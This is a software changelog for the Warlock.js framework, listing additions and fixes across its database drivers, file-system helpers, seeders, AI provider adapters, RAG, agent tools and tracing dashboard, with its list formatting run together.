systemPrompt().refined({ model, criteria, store })— the prompt compiler. Humans keep writing human prompt text; the refined wrapper lazily rewrites it into a model-optimized version on first agent use and pins the result like a lockfile (re-compiled only when the source text, refiner model,criteria, or recipe version change — never silently).await refined.refine()returns the compiled template string (placeholders intact — routes / previews / warmup / CI; throwsPromptRefinementErroron failure) andawait refined.refinePrompt()returns a composable prompt withmeta.refinedFrom/meta.refinerModelprovenance (register it todifforiginal vs refined). Placeholder parity is machine-enforced (one repair re-ask, then rejected); the lazy agent path never throws — it warns once and serves the original. - Added
ai.prompts.validate({ criteria })— validate a prompt against your own rules. Passcriteria(a string or a list of short rules) and, when ajudgemodel is supplied, it replaces the built-in quality rubric so the judge'sscore/issuesreflect your criteria (a failed rule is named inissues). Advisory only — never flips the deterministicok; folded into thejudgeCachekey so different rules re-run.
- Added
fsshorthand facade — an async, ergonomic surface over the primitives:fs.files.*(file ops),fs.dirs.*(directory ops), lazyfs.file(path)/fs.dir(path)handles (File/Directoryclasses), andfs.exists(path)(type-agnostic). Delegates to the existing*Asyncprimitives; synchronous callers keep using the bare primitives (thebare = sync/*Async = asynccharter is unchanged) - AddedNew file ops on the facade:
append/prepend/appendLine/appendJsonLine(NDJSON),size,isEmpty,ensure(create-if-missing, never truncates),touch,edit(read → transform → write),editJson,mergeJson(shallow, or{ deep: true }),ensureJson(get-or-create),checksumMatches,readLines(streaming async iterator), and an EXDEV-safemove(creates the destination parent, falls back to copy+unlink across devices) - AddedNew directory ops on the facade:
empty(emptyDir),size(recursive byte sum),count,isEmpty,walk(constant-memory async iterator of{ path, name, type }), arecursiveoption onlist/listFiles/listDirs, andhash(stable directory fingerprint) - Added
fs.files.getJson(path, { schema })— validate parsed JSON against any Standard Schema validator (seal / zod / valibot) with zero dependency (calls the schema's own~standard.validate); throwsJsonSchemaValidationErroron failure.{ default }returns a fallback when the file is missing - Added
File/Directoryhandles are lazy (no IO in the constructor) and immutable (copy/move/rename/copyTo/moveToreturn a NEW handle); pure-path helpersname/basename/extension/parent()and childfile(...)/dir(...);Directory.listFiles()/listDirs()returnFile[]/Directory[] - Added
fs.hashnamespace —fs.hash.string/fs.hash.buffer(sync, pure/in-memory) andfs.hash.file/fs.hash.dir(async, read from disk) - Added
fs.files.get()is overloaded: a text read returnsstring(no cast); pass{ encoding: null }for aBuffer
- Added
lockForUpdate({ skipLocked?, noWait? })— row locking on SELECT (FOR UPDATE [SKIP LOCKED | NOWAIT]), the concurrent job-queue claim shape; Postgres-only, the MongoDB driver throws - Added
DatabaseDriverContract.supportsSqlSerialization— capability flag (defaulttrue);falseroutes the MigrationRunner through direct migration-driver execution - FixedPostgres model-level
sum/avg/min/max/distinct/countDistinct/pluck/valueno longer return0/undefined— the hydration callback is reset before reading, matching MongoDB - FixedPostgres
Model.findAndUpdate/Model.atomicnow update every matching row instead of one arbitrary row (a hiddenLIMIT 1; MongoDB was already multi-row) - FixedPostgres query-builder
update()/unset()now honor the chainedwherefilter — previously they updated the whole table - FixedPostgres query-builder
deleteOne()deletes exactly one row — the internallimit(1)was silently ignored, deleting every matching row - FixedPostgres pivot
detach(ids)(andsync/toggle) works — the driver translates Mongo-style filter operators ($in,$nin,$eq,$ne,$gt,$gte,$lt,$lte) instead of binding the operator object literally - FixedCHECK constraints are no longer silently dropped on the MigrationRunner SQL path — the Postgres serializer emits
ADD CONSTRAINT ... CHECKforthis.check(...)and column.check(...) - FixedMongoDB
with()eager loading is no longer a silent no-op —get()runs the relation loader, same wiring as Postgres - FixedMongoDB pipelines order
$matchbefore$project(SQL semantics), soselect()beforewhere()no longer strips the filter column and returns[]— fixes pivotattachde-duplication andsync/toggledeltas - FixedThe MigrationRunner works on MongoDB — migrations execute directly through the migration driver;
exportSQLstays SQL-only with a clear unsupported error - FixedMongoDB
dropIndex(table, name)honors the literal index name — the string form is no longer rewritten to<name>_1(the columns-array form keeps the convention name) - Fixed
addGlobalScope/addLocalScoperegister per-subclass — a scope added on one model (e.g. a soft-deletenotDeleted) no longer leaks onto every other model
- AddedNon-interactive scaffolding —
create-warlock <name> --yes(with--db,--pm,--features,--ai,--git,--jwt) scaffolds the entire app in a single command, no prompts - Added
--db=none/--no-dband a None option in the database prompt — scaffold with no database: the driver, its package, andsrc/config/database.tsare all skipped - ChangedStarter models drop the baked-in
globalColumnsSchemaaudit columns (createdBy/updatedBy/deletedBy/isActive) — global columns are left to the developer
4.6.1July 1, 2026
A production-hardening patch across @warlock.js/core, @warlock.js/logger, and @warlock.js/cascade — a fatal boot error now fails loudly instead of exiting 0, native Postgres array columns (TEXT[] / JSONB[]) work with no configuration, and a nested transaction() joins the active transaction instead of opening an isolated one that can't see its writes.
Full release notes or run npx warlock release-notes.
- FixedNative Postgres array columns (
TEXT[]/JSONB[], fromarrayText()/arrayJson()) are now auto-detected by introspecting the schema on connect and bound as raw arrays — no more "malformed array literal" on insert and no need to hand-listnativeArrayColumns(which stays as an optional per-connection override, now consulted per-table) - Fixed
transaction()now flat-nests: a nestedtransaction()joins the active one (same session, sees its uncommitted writes) instead of opening a second, independent transaction — fixes phantom foreign-key violations when a service that opens its own transaction is called inside an outer one (e.g. a seeder creating a row, then a service inserting a child that references it). MongoDB joins too, replacing its "nested not supported" throw
- Fixeda fatal
uncaughtExceptionat production boot (e.g. a config file that throws) is no longer swallowed into a silentexit 0— bootstrap now wires the crash handler to exit non-zero in production sowarlock startsurfaces the failure; the dev server still logs-and-continues for HMR
- Changed
captureAnyUnhandledRejection()now exits the process non-zero after anuncaughtException(and prints the stack toconsole.errorwhen no terminal channel is configured) so a fatal error at boot is never silently swallowed into a cleanexit 0— opt out with{ exitOnUncaughtException: false }where the process recovers on its own (e.g. a dev server using HMR).unhandledRejectionis unchanged (logged aterror, never exits).
4.6.0July 1, 2026
The AI framework closes every remaining capability gap. Output modalities land — ai.image(), ai.speech(), and ai.transcribe(), plus the new @warlock.js/ai-live package for ai.realtime() duplex voice + ai.video(). RAG gains first-party vector stores and document loaders (ai.rag.pgVectorStore on Postgres/pgvector, ai.rag.loadWeb / loadPdf / loadHtml / loadText). Durable mid-run crash-resume comes to agents and planners (agent.resume() / planner.resume() via an opt-in durable store). And provider breadth doubles with four new OpenAI-compatible adapters — @warlock.js/ai-mistral, ai-groq, ai-deepseek, and ai-xai.
Full release notes or run npx warlock release-notes.
- Added
ai.image(params)— image generation, the first verb of the output-modality track (Theme I). Wraps anImageModelContractin the uniform never-throws{ data, error, usage, report }envelope, with cost-truth (per-token forgpt-image, per-image for DALL·E / Imagen) folded into the sameUsage.costrollup and atype: "image"report routed to observers. Ships on the OpenAI + Google adapters. - Added
SDKAdapterContract.image?(config)— the image-model capability seam, mirroringembedder?(). AddsImageModelContract,GeneratedImage(discriminatedbase64|url),ImageModelPricing, andImageGenerationOptions. - Added
MockSDK().image(...)+MockImageModel— deterministic image doubles (scriptable responses, recorded calls, pricing) for tests. - Added
ai.speech(params)+ai.transcribe(params)— text-to-speech and speech-to-text, the audio verbs of the modality track. Same uniform never-throws envelope + cost-truth (per-character / per-minute / per-token). NewSpeechModelContract/TranscriptionModelContractonSDKAdapterContract.speech?()/transcribe?(), plusMockSpeechModel/MockTranscriptionModel. - Added
ai.audioFromFile(path)/ai.audioFromBuffer(bytes, mediaType)/ai.audioMediaTypeForFilename(name)— non-AI utilities that package audio (WhatsApp.ogg/.opus, iOS.m4a, …) into theAudioInputshapeai.transcribeconsumes. - Added
ai.rag.pgVectorStore({ client })— a Postgres + pgvector vector store satisfyingVectorStoreContract(upsert / query / removeNamespace), with anensureSchema()DDL helper and a lazypgoptional peer. - Added
ai.rag.loadText/loadHtml/loadWeb/loadPdf— document loaders producingRagDocuments for.index().loadWebis SSRF-safe (routes throughguardedFetch/OutboundPolicy);loadPdfuses a lazypdf-parseoptional peer. - AddedDurable mid-run crash-resume — opt-in
durable: { store, deleteOnComplete? }onai.agent/ai.plannerwith a stablerunId+agent.resume(runId)/planner.resume(runId). Per-trip (agent) / per-node (planner) checkpoints reuseai.snapshot.{memory,pg,redis}; drift detection viaAgentDriftError/PlannerDriftError(bypass with{ force: true }); completed work never re-runs its tools and usage is never double-counted. - Added**
ai.rag.*namespace** now also carrieschunk,cacheVectorStore,pgVectorStore,loadText/loadHtml/loadWeb/loadPdf,bm25Rank,reciprocalRankFusion,hybridRank,multiQuery(previously standalone-only exports), forai.*-namespace consistency.
- AddedFirst release — the live & generative rich-media add-on for
@warlock.js/ai, kept in its own package so core text/image/speech stay dependency-light. A side-effect import (import "@warlock.js/ai-live") mountsai.video+ai.realtimeonto the sharedAifacade. - Added
ai.video(params)— text-to-video (Sora / Veo / Kling-class); the provider's async submit→poll job hidden behind the uniform never-throws{ data, error, usage, report }envelope, with per-second cost-truth folded intoUsage.costand atype: "video"report routed to observers. - Added
ai.realtime(options)— a stateful duplex voice session over a pluggableRealtimeTransport:sendAudio/sendText/events()out,close()→RealtimeReportfor the cost/observability surfaces. - AddedContracts —
VideoModelContract,GeneratedVideo,VideoModelPricing,VideoOptions;RealtimeSession,RealtimeTransport,RealtimeConnection,RealtimeEvent,RealtimeReport,RealtimeOptions. - AddedMocks —
MockVideoModel+MockRealtimeTransportfor deterministic, HTTP- and socket-free tests (scripted responses / event streams, recorded calls).
- Added
openai.image({ name })— image generation for thegpt-image-*(token-metered) anddall-e-*(per-image) families, for use withai.image(). A non-image model id is rejected at construction. - AddedPDF + audio input.
pdfandaudiocontent parts now map to OpenAIfile(base64file_data) andinput_audio(wav/mp3) parts — opt in withmodel({ pdf: true })/{ audio: true }. A remote-URL pdf/audio source raises a typedInvalidRequestErrorup front. - Added
openai.speech({ name })— text-to-speech for thetts-1/tts-1-hd/gpt-4o-mini-ttsfamilies (audio.speech.create), for use withai.speech(). - Added
openai.transcribe({ name })— speech-to-text for thewhisper-1/gpt-4o-transcribefamilies (audio.transcriptions.create), for use withai.transcribe().whisper-1defaults toverbose_json(duration + segments); a non-TTS/STT model id is rejected at construction. - FixedNon-text content parts are no longer coerced to
image_url. The message mapper now branches per modality (image →image_url, pdf →file, audio →input_audio) instead of forcing every attachment through the image path.
- AddedFirst release.
MistralSDK— a thin wrapper over@warlock.js/ai-openaithat points one internalOpenAISDKat Mistral's OpenAI-compatible endpoint (https://api.mistral.ai/v1) withprovider: "mistral", delegating transport, streaming, tool calls, structured output, error wrapping, and token accounting to the battle-tested adapter. Exposes.model(),.embedder()(mistral-embed), and.count(). - AddedMistral-aware capability inference —
visionis auto-set for thepixtralfamily and recent multimodal generations (mistral-large,mistral-medium,ministral-3);reasoningfor themagistralfamily and the hybridmistral-smallgeneration. An explicitvision/reasoningon.model()always wins. Exported asinferVisionCapability/inferReasoningCapability, with the-latestaliases grouped underMISTRAL_MODELS. - AddedDefault pricing registry (
MISTRAL_DEFAULT_PRICING, USD per 1,000,000 tokens) merged under any caller-suppliedpricingso cost truth works out of the box; per-model > SDK-level > default >undefined. Noimage()— Mistral has no OpenAI-compatible image endpoint.
- Added
google.image({ name })— Imagen (imagen-*) image generation for use withai.image(). Per-image-metered; when every candidate is safety-filtered the run surfaces a typedContentFilterError. A non-Imagen model id is rejected at construction. - FixedPDF + audio input are now explicitly mapped and tested. The content-part mapper documents and proves that
pdf/audioparts route to GeminiinlineData(thepdf/audiocapabilities the adapter advertises are backed by a real mapper, not an accident of the image path), and the remote-URL rejection now names the actual modality instead of always saying "images".
- Addedrelease-hygiene tests: version↔changelog invariant + generator-stub import check
- Added
router.routeCount()exposes the number of registered routes as a boot/readiness signal - Added
health.addRoutesRegisteredCheck(getRouteCount)registers a readiness check that reports not-ready when a booted HTTP app has zero routes - Addedseeders now receive a
{ track }context —track(model),track(models[]), andtrack(table, id)register created records (each call returns its argument so it can be chained inline);recordsCreatedis auto-derived from the track count - Added
seed_recordstable (created via the newSeedRecordsTableMigration) records every tracked seed reference within the same transaction the seed runs in; only the last run's refs are kept per seeder - Added
warlock seed --drop [name]undoes a seed: deletes its tracked records in reverse run/insertion order inside a transaction, then resets the matching seeds-log rows soonce: trueseeds re-run; scope to one seeder with--drop=<name> - Added
Seeder.dependsOnis now resolved — seeders are topologically sorted so dependencies run before dependents, layered over the numericordertie-break; throwsUnknownSeederDependencyErrorfor a missing dependency andSeederDependencyCycleErrorfor a cycle - Addedseeders receive an injectable clock and a meaningful batch size —
run({ track, now, batchSize });now()(default() => new Date()) drives both seed data and the seeds-log timestamps so historical/back-fill runs are deterministic, andbatchSizesurfaces the seeder's ownbatchSizeforModel.createMany(rows, { batchSize }) - Addedrepository-level aggregation —
aggregate(),sum(),avg(),min(),max(), andgroupBy()onRepositoryManager, each reusingfilterBy(and its operator-injection guard),where, and scopes before the aggregate, exactly likecount() - Added
warlock doctor— a read-only diagnostics command that runs routes / config / connectors / optional-peers / health / release-hygiene checks and prints a pass/warn/fail report (exits non-zero on any failure, never opens a DB/cache/socket connection) - Added
warlock routes— a read-only command that lists the registered HTTP routes as a verb-colored table (method / path / name / action / middleware-count / source); filter with--method/--path/--name, or emit the normalized rows as JSON with--json. Boots app code to register routes but starts no connectors - Changed
Seeder.runnow receives aSeedContext(run(ctx)) — backward compatible, an existing zero-argrun()keeps working unchanged - Fixedroute-module load/registration failures are no longer swallowed: a route file that throws on import or registration now surfaces loudly instead of silently 404'ing the whole surface
- Fixed
ModuleLoader.loadModulerethrows after logging (wrapped in a newModuleLoadErrorcarrying the failing file + cause), so a broken module aborts boot and is caught loudly by the HMR batch-reload handler in dev - Fixed
ModuleLoader.loadAllaggregates per-file failures and throws anAggregateErrorat the end, so one broken module no longer hides the others - Fixed
router.withSourceFilerethrows the callback error after logging instead of consuming it with a bareconsole.log(thetry/finallysource-file stack cleanup is preserved)
- AddedFast bulk
Model.createMany(data, options?: { batchSize?; bulk? })— both paths chunk bybatchSize(default 500);bulk: trueroutes each chunk to the driver's native multi-rowinsertManyfor 10–100× throughput (skips per-row hooks/events; default path preserves them) - Added
IdGeneratorContract.generateNextIds({ table, count })— reserve a contiguous block of auto-increment ids in a SINGLE atomic op (MongoDB).Model.createMany(default + bulk) now reserves one id block per chunk instead of one counter round-trip per row; engages only for fixed-increment, auto-generated, id-less rows (random-increment or caller-supplied-id rows fall back to per-row generation) - Added
QueryBuilder.groupByDate(column, unit, aggregates?)— portable date-bucketedGROUP BY(day/week/month/year) across Postgresdate_truncand MongoDB$dateTrunc - Added
$agg.sum(expr)now also accepts a typed column expression ($expr.mul/$expr.add/$expr.sub/$expr.div/$expr.col/$expr.lit) so you can sumprice * quantity; bare-string payload is unchanged. Added$agg.sumRaw(expression)raw escape hatch (PostgresSUM(<raw>); throws on MongoDB) - AddedColumn-expression DSL grouped under a single
$exprobject (mirroring$agg) —$expr.col/$expr.lit/$expr.mul/$expr.add/$expr.sub/$expr.div/$expr.raw— plusisColumnExpression/toColumnExpressionand theColumnExpression/ColumnExpressionInputtypes - AddedMongoDB id counter (
MasterMind) now has a lazily-ensured unique index on{ collection: 1 }plus a bounded retry on duplicate-key (E11000), closing the cold-start race where two concurrent first inserts into a new collection could reserve overlapping ids/blocks - Added
$agg.countDistinct(field)— a cross-driver grouped distinct-count aggregate (PostgresCOUNT(DISTINCT col); MongoDB$addToSetin$groupfinalized with$sizein the renaming$project) - Added
Model.raw<T>(sql, params)— typed, transaction-aware raw query that auto-joins the activetransaction()scope and returnsRawQueryResult<T> - Added
DataSource.raw<T>(sql, params)— thin transaction-aware passthrough todriver.query - AddedPostgres connection option
nativeArrayColumns— opt out listed columns (JSONB[]/TEXT[]/…) from JSON-text encoding so genuine native-array columns keep their{...}literal form - Changed
DriverContract.query<T>()is now typedPromise<RawQueryResult<T>>(newrows+rowCountresult type) instead ofPromise<any> - FixedPostgres
json/jsonbcolumns no longer corrupt: object-arrays, string-arrays, mixed arrays, empty[](previously stored as{}), and plain objects are now JSON-encoded before binding instead of falling through to a Postgres array literal; the same encoding is applied on the UPDATE$setpath. The pgvector all-number array form is preserved. - FixedInsert no longer overwrites a caller-supplied
createdAt— a backdated value (imports/migrations) is now honored, mirroring the upsert guard, whileupdatedAtis always stamped at persist time - FixedInsert validation now whitelists the system columns (
id/_id/timestamps/deletedAt) like the update path, so a backdatedcreatedAtsurvives strictstrip/failmode instead of being dropped before reaching the writer - FixedCorrected the MongoDB id-generator docs that falsely claimed the counter write "participates in active transactions" — it is a standalone, immediately-durable write (no transaction session is attached), so a rolled-back insert leaves the consumed id as a gap, exactly like SQL
SERIAL
- AddedFirst release. DeepSeek adapter for
@warlock.js/ai— a thin wrapper over@warlock.js/ai-openai'sOpenAISDKpinned tohttps://api.deepseek.com(provider: "deepseek"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged. - Added
DeepSeekSDK—.model()/.embedder()/.image()/.count()delegated to the wrapped client.baseURLandproviderare optional (default to DeepSeek's endpoint / label); every otheropenaiClientOptionsvalue is forwarded verbatim. - AddedDeepSeek-specific capability inference (
inferReasoningCapability/inferVisionCapability) —reasoningis auto-truefordeepseek-reasonerand the*-protier, auto-falsefordeepseek-chat/*-flash;visionisfalsefor every id (no documented vision surface). An explicitreasoning/visionper model always wins. - AddedBuilt-in DeepSeek pricing defaults (USD per 1M tokens) for
deepseek-chat,deepseek-reasoner,deepseek-v4-flash,deepseek-v4-pro, sousage.costis computed out of the box; overridable per model or per SDK. - Added
DEEPSEEK_CHAT_MODELS— informational list of the documented chat model ids.
- AddedFirst release. xAI Grok adapter for
@warlock.js/ai— a thin wrapper over@warlock.js/ai-openai'sOpenAISDKpinned tohttps://api.x.ai/v1(provider: "xai"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged. - Added
XaiSDK—.model()/.embedder()/.image()/.count()delegated to the wrapped client.baseURLandproviderare optional (default to xAI's endpoint / label); every otheropenaiClientOptionsvalue is forwarded verbatim. - AddedxAI-specific capability inference (
inferVisionCapability/inferReasoningCapability, exported alongsideXAI_VISION_MODEL_PREFIXES/XAI_REASONING_MODEL_PREFIXES) — Grok ids don't match OpenAI'sgpt-*/o*prefixes, sovisionis auto-trueforgrok-4/grok-2-visionandreasoningforgrok-4/grok-3-mini. An explicitvision/reasoningper model always wins. - Added
XAI_CHAT_MODELS— convenience list of current public Grok chat ids (grok-4,grok-3,grok-3-mini,grok-2-vision,grok-2). - AddedOptional per-model pricing registry — resolution at
model()time is per-modelpricing> SDK registry >undefined.
- AddedFirst release.
GroqSDK— a thin wrapper over@warlock.js/ai-openaithat points one internalOpenAISDKat Groq's OpenAI-compatible endpoint (https://api.groq.com/openai/v1) withprovider: "groq", delegating transport, streaming, structured output, error wrapping, and token accounting to the battle-tested adapter. Serves Groq-hosted open models (llama-3.3-70b-versatile,llama-3.1-8b-instant,openai/gpt-oss-*,deepseek-r1-distill-llama-70b) on LPU hardware via.model()and.count().GROQ_BASE_URL/GROQ_PROVIDER/GROQ_KNOWN_MODELSexported. - AddedGroq-aware capability inference — because Groq ids are upstream open-weight names, not OpenAI's, the wrapper carries its own lists:
visionis auto-set forgpt-oss/llama-4/llama-3.2-*-vision;reasoningforgpt-oss/deepseek-r1/qwq/qwen3. An explicitvision/reasoning/structuredOutputalways wins. Exported asinferVisionCapability/inferReasoningCapability. - AddedDefault pricing registry (USD per 1,000,000 tokens) for the known Groq models as the final fallback; resolution per-model > SDK-level
pricing[name]> built-in default >undefined. No embeddings endpoint on Groq (.embedder()is delegated for symmetry but calls fail upstream) and noimage().
- FixedWarn in development when jobs are registered but
start()is never called — a one-shot deferred check logsN job(s) registered but scheduler.start() was never called, is suppressed oncestart()runs or in production (NODE_ENV=production), and is unref'd so it never holds the process open.
4.5.0July 1, 2026
The biggest AI release yet — the agent-platform, prompt-unification, and team-identity milestones plus a security-hardening pass, consolidated into one release. @warlock.js/ai grows from a primitive ladder into a full agent platform: ai.rag(), ai.team(), ai.skills(), a unified ai.prompts registry (ai.prompt is now a facade over it), ai.dataset() / ai.vcr(), a planner that runs DAGs and can pause for approval, a generic observe seam, the former ai-human + ai-guard satellites folded into core, and a security pass (SSRF-safe outbound I/O, redaction, attachment policy, SSE serving, streaming structured output). @warlock.js/ai-panoptic becomes batteries-included with a redesigned, auth-gated local dashboard (group-by-type, cost heatmap, timeline, search / filter, restart-persistent store) and first-class team-type traces. The first releases of @warlock.js/ai-tools (ready-made tools + MCP) and @warlock.js/ai-workspace (a policy-jailed coding workspace), plus a broad @warlock.js/core hardening pass.
Full release notes or run npx warlock release-notes.
- Added
ai.rag(config)— retrieval-augmented generation in core: a chunk → embed → retrieve → cite pipeline that reuses your existing embedder and cache, with zero new dependencies. Includes hybrid retrieval (dense + BM25 reciprocal-rank fusion), keyword / LLM rerankers, and multi-query expansion. - Added
ai.team(config)— manager-led multi-agent teams: thin sugar overai.supervisorfor the review-then-fix and test-then-fix shapes. - Added
ai.skills(config)— runtime agent skills with progressive disclosure: a cheap always-injected catalog plus an on-demandloadSkilltool. Adds askillsoption onai.agent. - Added
ai.streamObject(...)— structured-output streaming: partial-object snapshots as tokens arrive, with a strict final parse against the response schema. - Added
ai.serve(executable, options)— serve any agent / workflow / supervisor as an SSE HTTP endpoint. - AddedMultimodal attachments —
ContentPartgainspdfandaudiovariants alongside text / image, resolved to provider-ready parts (PDF wired on the Anthropic and Bedrock adapters). - AddedPlanner DAG execution, re-planning, and plan-only approval — run independent steps concurrently, revise the plan when a step fails, or return a plan for approval before it executes.
- AddedGeneric
Observerseam — route any flow's run report to pluggable observers (e.g.@warlock.js/ai-panoptic) without coupling core to a backend. - Added
ai.prompts+ai.prompt— a process-wide registry of named, versionedsystemPrompt(...)builders (resolved byname@version/name@tag) withdefine/tag/diff/export/importand a unifiedvalidate(deterministic missing-placeholder check plus an optional Nova-safe LLM-judge);ai.promptis a thin facade over it. - Added
SystemPromptContractidentity + provenance —.meta({ name, version, description, required })(a name auto-registers inai.prompts),.merge(...blocks)/.merge(contract)/.merge(name, { fromVersion }), and deterministicmeta.composedFromlabels. - Added
ai.dataset(options)— filterable, shardable evaluation case sets that feedagent.eval, with baseline / regression detection and CI reporters. - Added
ai.vcr(model, options)— record / replay any model against an on-disk cassette for deterministic, offline tests, withrecordRequestmodes andredactRequest/redactResponse/redactErrorhooks. - Added
ai.agent.judge(config)— judge-safe agent preset (alsoai.agent({ judge: true })): lenient JSON parsing, bounded repair re-asks, and never-throw verdicts on Nova-class models. - AddedHuman-in-the-loop approval now ships in core (
ai.human.*, formerly@warlock.js/ai-human) — a tool-approval gate plus durable interrupt / resume. - AddedContent guardrails now ship in core (
ai.guardrail.*, formerly@warlock.js/ai-guard) — PII / topic / injection / moderation detectors. - AddedOrchestrator
sessionLock— per-session turn serialization (default in-process mutex keyed bysessionId, pluggable distributed lock) so concurrent same-session turns can't lose a checkpoint update. - AddedSub-agent trace nesting — a supervisor / team / orchestrator callback that calls
agent.execute()directly now nestscallback → agent → toolwith rolled-up usage / cost. - Added
AgentReport.systemPrompt— the resolved system prompt sent to the model is now recorded on the agent report. - Changed
ai.teamruns reporttype: "team"— a first-classReportType(was"supervisor") so observers distinguish team runs on the wire. - ChangedDeterministic parallel workflow state merge — parallel children merge into the parent in declaration order (last-declared wins on a conflicting key) instead of completion order; an optional per-step
mergeStatereducer overrides it. - ChangedSafer batch / RAG defaults —
ai.batchwarns once on a large unbounded run (pass an explicitconcurrencyor"unbounded");ai.ragacceptslimits(maxDocuments/maxChunks/maxBytes) that fail before any embedding spend. - FixedCancellation propagates through composite tools — a cancelled outer agent now aborts a nested agent / workflow / supervisor invoked via
.asTool()(the run signal threads into the nestedexecute). - FixedObserver / event-handler errors are surfaced, not swallowed — a throwing observer or
onhandler stays isolated (never crashes the run) but is now warned once / routed to a hook instead of disappearing silently. - Fixed
budget({ maxCostUSD })fail-open closed — a cost cap with no matching model pricing now warns once (naming the model) instead of silently never tripping. - SecurityShared
OutboundPolicy+redact()— one SSRF-safe outbound-fetch guard (scheme + host allowlist, post-DNS private-IP deny, max-bytes, timeout, injectable fetch) and one redaction utility, consumed across attachments, URL skills, VCR, and the error path. - SecurityAttachment trust boundary (
AttachmentPolicy) — remote-text attachment fetch is default-deny (opt in with a policy), local reads honor anallowedRootssandbox, and bare-string local paths warn (staged deprecation). - SecurityURL skill sources hardened — the manifest fetch runs through
OutboundPolicyand every record is runtime-validated before it enters model context; adds cache-TTL controls. - SecurityGuardrail coverage documented — input detectors inspect text only; non-text attachment content needs an attachment-level policy.
- AddedZero-setup local dashboard —
dashboard(store, options)serves a loopback-only mini-Langfuse (default127.0.0.1:4319) with no Docker and no account: light / dark / system theme, a two-pane drawer (nested call tree / detail), a metadata panel, colour-coded Title-case type labels, arrow-coded token rollups (↓input · ↑output · total), per-node rollup cost, and the Warlock logo. - AddedDashboard search / filter / grouping — client-side free-text search, status / type / session / prompt filter chips, an errors-only toggle, and group-by Session / Prompt / Type with a per-type aggregate-stats panel (count, failure rate, p50 / p95 latency, tokens, cost).
- AddedCost heatmap, timeline view, and deep-links — each node carries a cost-tinted accent; the drawer toggles between the call tree and a Gantt timeline (critical path highlighted); the open trace + span are reflected in the URL hash for shareable views.
- AddedPrompt-version linkage — agent spans stamp
agent.promptName/agent.promptVersion; the dashboard filters and groups by the resolvedname@versionkey. - AddedCache-backed persistent trace store —
createCacheTraceStore(cache, options)persists traces through any@warlock.js/cachedriver, serves reads from an in-memory mirror, and re-hydrates onready()so traces survive a restart;ai.config({ panoptic: { cache } })wires it. - AddedDeclarative
ai.config({ panoptic })— configure panoptic once; it registers on core's observer registry and starts the dashboard. Per-flowobserve+observeAllopt flows into observation. - Added
ContentCaptureOptions.fullHistory— capture the agent's complete message history on the span; agent content is emitted as a[system, user]chat array; Langfuse gets trace-levelinput/output. - Added
onErrorhook — handle isolated exporter failures onpanoptic()/createCollector(). - AddedPure trace-list helpers exported from the package root (
filterTraces/groupBySession/groupByPrompt/groupByType/aggregateByType/rollupCost/ …) so your own views mirror the dashboard's rules. - ChangedTitle-case status & type labels across rows, drawer, chips, and group headers (underlying filter keys stay lowercase);
teamis a first-class dashboard type; type chips show only present types; drawer metadata keys are humanized; the group-by toggles became a singleGroupdropdown. - FixedIsolated exporter failures no longer fail silently — a failing exporter still never crashes the run, but now warns once (or calls
onError). - SecurityDashboard hardening — bearer-token auth (
authToken, required when binding off-loopback), aHost-header allowlist (DNS-rebinding guard), and security response headers (nosniff/X-Frame-Options: DENY/ locked-down CSP) on every response. - SecurityError redaction — captured error
message/stackare scrubbed of secrets (Bearer tokens, API keys) and a retainedcauseis deep-redacted (auth / cookie headers stripped) before a trace is stored or exported.
- Added**Five ready-made agent tools, attached to the shared
aiobject underai.tools.*via adeclare module "@warlock.js/ai"augmentation, so a bareimport "@warlock.js/ai-tools"makes them available and statically typed. Each returns aToolContractthat drops straight intoai.agent({ tools: [...] }): -ai.tools.webSearch(options)(web_search) — web search via a chosen provider (tavily/brave/serpapi) over the globalfetch; the API key falls back toTAVILY_API_KEY/BRAVE_API_KEY/SERPAPI_API_KEY;maxResultsis clamped per call. -ai.tools.fetchUrl(options?)(fetch_url) — fetch a URL and return its content as readability-extractedtext(default), rawhtml, ormarkdown, with a host allowlist (SSRF guardrail), a byte cap (truncatedflag), and a request timeout. -ai.tools.http(options?)(http_request) — a guarded HTTP/REST client: method + host allowlists enforced before the network call, optionalbaseUrljoin, static-header merge, byte cap, and timeout; JSON-parses a JSON response body. -ai.tools.calculator(options?)** (calculator) — a SAFE arithmetic evaluator (+ - * / % ^, unary signs, parentheses, decimal/scientific literals) implemented with a shunting-yard pass — it never callseval/Function. -ai.tools.dateTime(options?)(date_time) — clock/calendar operations:now/add/diff/formatover ISO-8601 instants, with millisecond-based units and IANA time-zone rendering.diffacceptsfromas an alias for the start instant (isowins when both are set). - AddedMCP client —
ai.mcp(server, options?)(Direction A). Connects to an external MCP server over a stdio (node:child_process+node:readline, no dependency) or Streamable HTTP transport, runs theinitializehandshake +tools/list, and adapts each remote tool into a nativeToolContract(its JSON Schema wrapped as a Standard Schema,tools/callasexecute). SupportsnamePrefix,filter, and a per-calltimeoutMs; anisErrorresult surfaces as{ error }data. - AddedMCP server —
ai.mcp.serve(source, options)(Direction B). Exposes a built agent / supervisor / orchestrator (or a rawToolContract[]) AS an MCP server:tools/listemits each tool'sinputSchemaviaextractJsonSchemaat the configuredschemaTarget(defaultdraft-2020-12), andtools/callroutes tocontract.invoke(), mappingdatato a text content block anderrorto anisError: trueresult. The stdio transport is auto-pumped overprocess.stdin/process.stdout; the pure protocol core is also exported ascreateServeHandlerfor a host's own HTTP wiring. - AddedTyped error classes —
WebToolError,HttpPolicyError,CalculatorError,DateTimeError, andMcpTransportError, each extending the@warlock.js/aiAIErrorbase with atypediscriminator. Every tool follows the errors-as-data contract: failures are thrown insideexecute, wrapped bytool(), and reach the model as{ error }so the agent self-corrects instead of crashing the run. - AddedOptional peers, lazily imported. Heavy dependencies — a search provider (
@tavily/core), the readability scraper (@mozilla/readability+jsdom), the MCP SDK (@modelcontextprotocol/sdk), and the JSON-Schema validator (ajv) — are optional peers,import()ed only when the relevant path runs, surfacing a curatednpm installstring when absent rather than crashing at import time. The only required runtime peer is@warlock.js/ai; everything else is Node built-ins + the globalfetch(Node 18+).
- Added
ai.workspace(policy)— the workspace verb, registered on the sharedaiobject via adeclare module "@warlock.js/ai"augmentation + a runtime side-effect on import (no edit to@warlock.js/ai's own source). Exported as theworkspacefactory;WorkspaceCapableAiis the typed view consumers castaithrough. - AddedPolicy jail — every path is
realpath-resolved and must sit undercwd(or anallowPathsroot);denyPathsglobs are blocked even insidecwd; the shell allow/deny list gates each command's leading executable basename (deny wins, fail-closed); per-command timeout + output byte cap; andprocess.envis never inherited wholesale (opt-inshell.inheritEnv, plus explicitshell.env). - AddedSeven agent-facing tools under
